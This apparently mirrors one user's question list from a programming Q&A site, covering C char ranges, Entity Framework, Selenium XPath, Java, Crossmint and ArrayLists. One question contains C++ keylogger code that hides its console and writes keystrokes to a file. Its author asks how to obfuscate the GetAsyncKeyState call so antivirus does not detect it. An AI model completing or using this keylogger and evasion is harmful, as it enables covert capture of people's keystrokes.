小编Jam*_*s Z的帖子

ints 和 chars 类型值的总结

我们知道 char 变量的范围是从 -128 到 127,最大值是 255(对于 unsigned char)。请澄清我的以下疑问:

  1. char c=255;既然超出了范围,为什么它会结束 255 而不是给出错误?

  2. 为什么没有负 char 值(-128 到 -1)的 ascii 值?例如 48-57 代表 0-9(字符值)

  3. 当我们int x=4*1024*1024*1024;这样做时,它会给出溢出错误,但是,当我们int x=4 * 1024; x*=(1024*1024);这样做时(编译器)不会给出错误,而是会进行包装。为什么?

c c++ char

-1
推荐指数
1
解决办法
168
查看次数

Tolist() 转换需要很长时间,我该如何改进?

我有以下代码,其中使用 tolist 方法将数据从数据库转换为列表。我必须将整个数据转换为列表的原因是,我必须在使用 where 和 lambda 语句之后执行搜索操作,为此我们需要列表。

有什么替代方案吗?

// This takes less than 2 seconds to execute
var wdata = (from s in db.VIEW_ADDED_LOT
             select new LotModel
             {
                CREATION_DATE = s.CREATION_DATE,
                LOT_NO_SPL = s.LOT_NO_SPL,
                LOT_TYPE = s.LOT_TYPE,
                ITEM = s.ITEM,
                BUSINESS_UNIT = s.BUSINESS_UNIT,
                INSPECTOR = s.INSPECTOR,
                NCRNO = s.NCRNO,
                BUILDING_NO = s.BUILDING_NO,
                CELL = s.CELL,
                NCR_DT = s.NCR_DT,
                INVENTORY_ROUTER = s.INVENTORY_ROUTER,
                DOC_ISSUE = s.DOC_ISSUE,
                COMMENTS = s.COMMENTS,
                AGING = s.AGING,
                ARCHIVAL_DATE = s.ARCHIVAL_DATE,
                NCR_COMPLETION_STATUS = s.NCR_COMPLETION_STATUS,
                FLAG_LINK = s.FLAG_LINK,
                P_KEY …
Run Code Online (Sandbox Code Playgroud)

.net c# linq asp.net-mvc entity-framework

-1
推荐指数
1
解决办法
1128
查看次数

如何在selenium中通过xpath识别前一个兄弟

这是使用兄弟姐妹后的代码我无法点击复选框.它出什么问题了?

码:

checkbox1 = driver.find_element_by_xpath("td/nobr/a[text()='192.168.50.120']/../preceding-sibling::td/input[@class='checkbox']")
Run Code Online (Sandbox Code Playgroud)

TD

python selenium xpath selenium-webdriver

-2
推荐指数
1
解决办法
81
查看次数

混淆函数调用 C++

我正在制作我自己的源代码混淆器,我注意到如果源代码中有这样的函数调用,一些防病毒引擎会检测到一个简单的键盘记录器。“获取ASyncKeyState”。以这个源代码为例,它是一个简单的键盘记录器主函数。

int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

return 0;
}
Run Code Online (Sandbox Code Playgroud)

我想混淆“GetAsyncKeyState”名称的函数调用,以便任何 AV 都无法将其检测为键盘记录器。我对使用序号和 GetProcAddress 的函数调用的实现感到困惑。就像我在下面的代码中尝试过的一样。

typedef int(__cdecl *MYPROC)(LPWSTR);
int main(void)
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to the DLL …
Run Code Online (Sandbox Code Playgroud)

c++ windows obfuscation antimalware

-2
推荐指数
1
解决办法
268
查看次数

Java 使用哪种协议在共享驱动器上存储文件?

我正在使用以下代码在共享驱动器上写入文件。我只是想知道它使用哪种协议来传输文件?是 RDP/TCP/SMB 吗?

try (FileOutputStream outputStream = new FileOutputStream("\\test_server\Folder_1\Folder_2\Folder_3")) {
    book.write(outputStream);
}
Run Code Online (Sandbox Code Playgroud)

在这里,book 只不过是 XSSFWorkbook [org.apache.poi.xssf.usermodel.XSSFWorkbook]。

“test_server”是同一网络中的另一台机器。

java

-3
推荐指数
1
解决办法
207
查看次数

关于java循环的困惑

我刚开始学习编程,java是我的第一语言.我遇到了涉及for循环的练习,我想知道结果是如何找到的:

int result = 0;
for (int i = 0; i < 5; i++){
    if(i == 3){ 
        result += 10;
    }
    else{
        result += i;
    }
}
System.out.println(result);
Run Code Online (Sandbox Code Playgroud)

输出是:17

我知道这是一个愚蠢的基本问题,但我真的需要了解结果如何17.

java loops for-loop

-4
推荐指数
1
解决办法
91
查看次数

错误:缺少铸造所需的参数计数。请在 mintParams 中提供参数

我正在尝试使用 javascript 实现 crossmint-pay-button 。我正在使用 cdn 链接:https://unpkg.com/@crossmint/client-sdk-vanilla-ui@0.0.1-alpha.1/lib/index.global.js

<crossmint-pay-button
     collectionTitle="Gaia comic"
     collectionDescription="Gaia comic collection "
     collectionPhoto=""
     clientId="8d77450f.....ad497f612"
     mintConfig='{"type":"erc-721","price":"0.1","_count":"1"}'
     environment="staging"
/>
Run Code Online (Sandbox Code Playgroud)

当我单击下面的“付款”按钮时,会出现错误。“缺少铸造所需的参数计数。请在 mintParams 中提供参数”

在此输入图像描述

nft crossmint

-4
推荐指数
1
解决办法
358
查看次数

如何从数组列表中删除某些项目而没有循环且时间复杂度更低?

我有100 000个对象的数组列表。我想删除某些具有特定ID的对象。我正在使用for循环来搜索ArrayList和删除它们中的每一个。因此,这非常耗时。有没有任何可能的方法可以执行此操作而不会循环?

performance loops arraylist time-complexity java-8

-6
推荐指数
1
解决办法
100
查看次数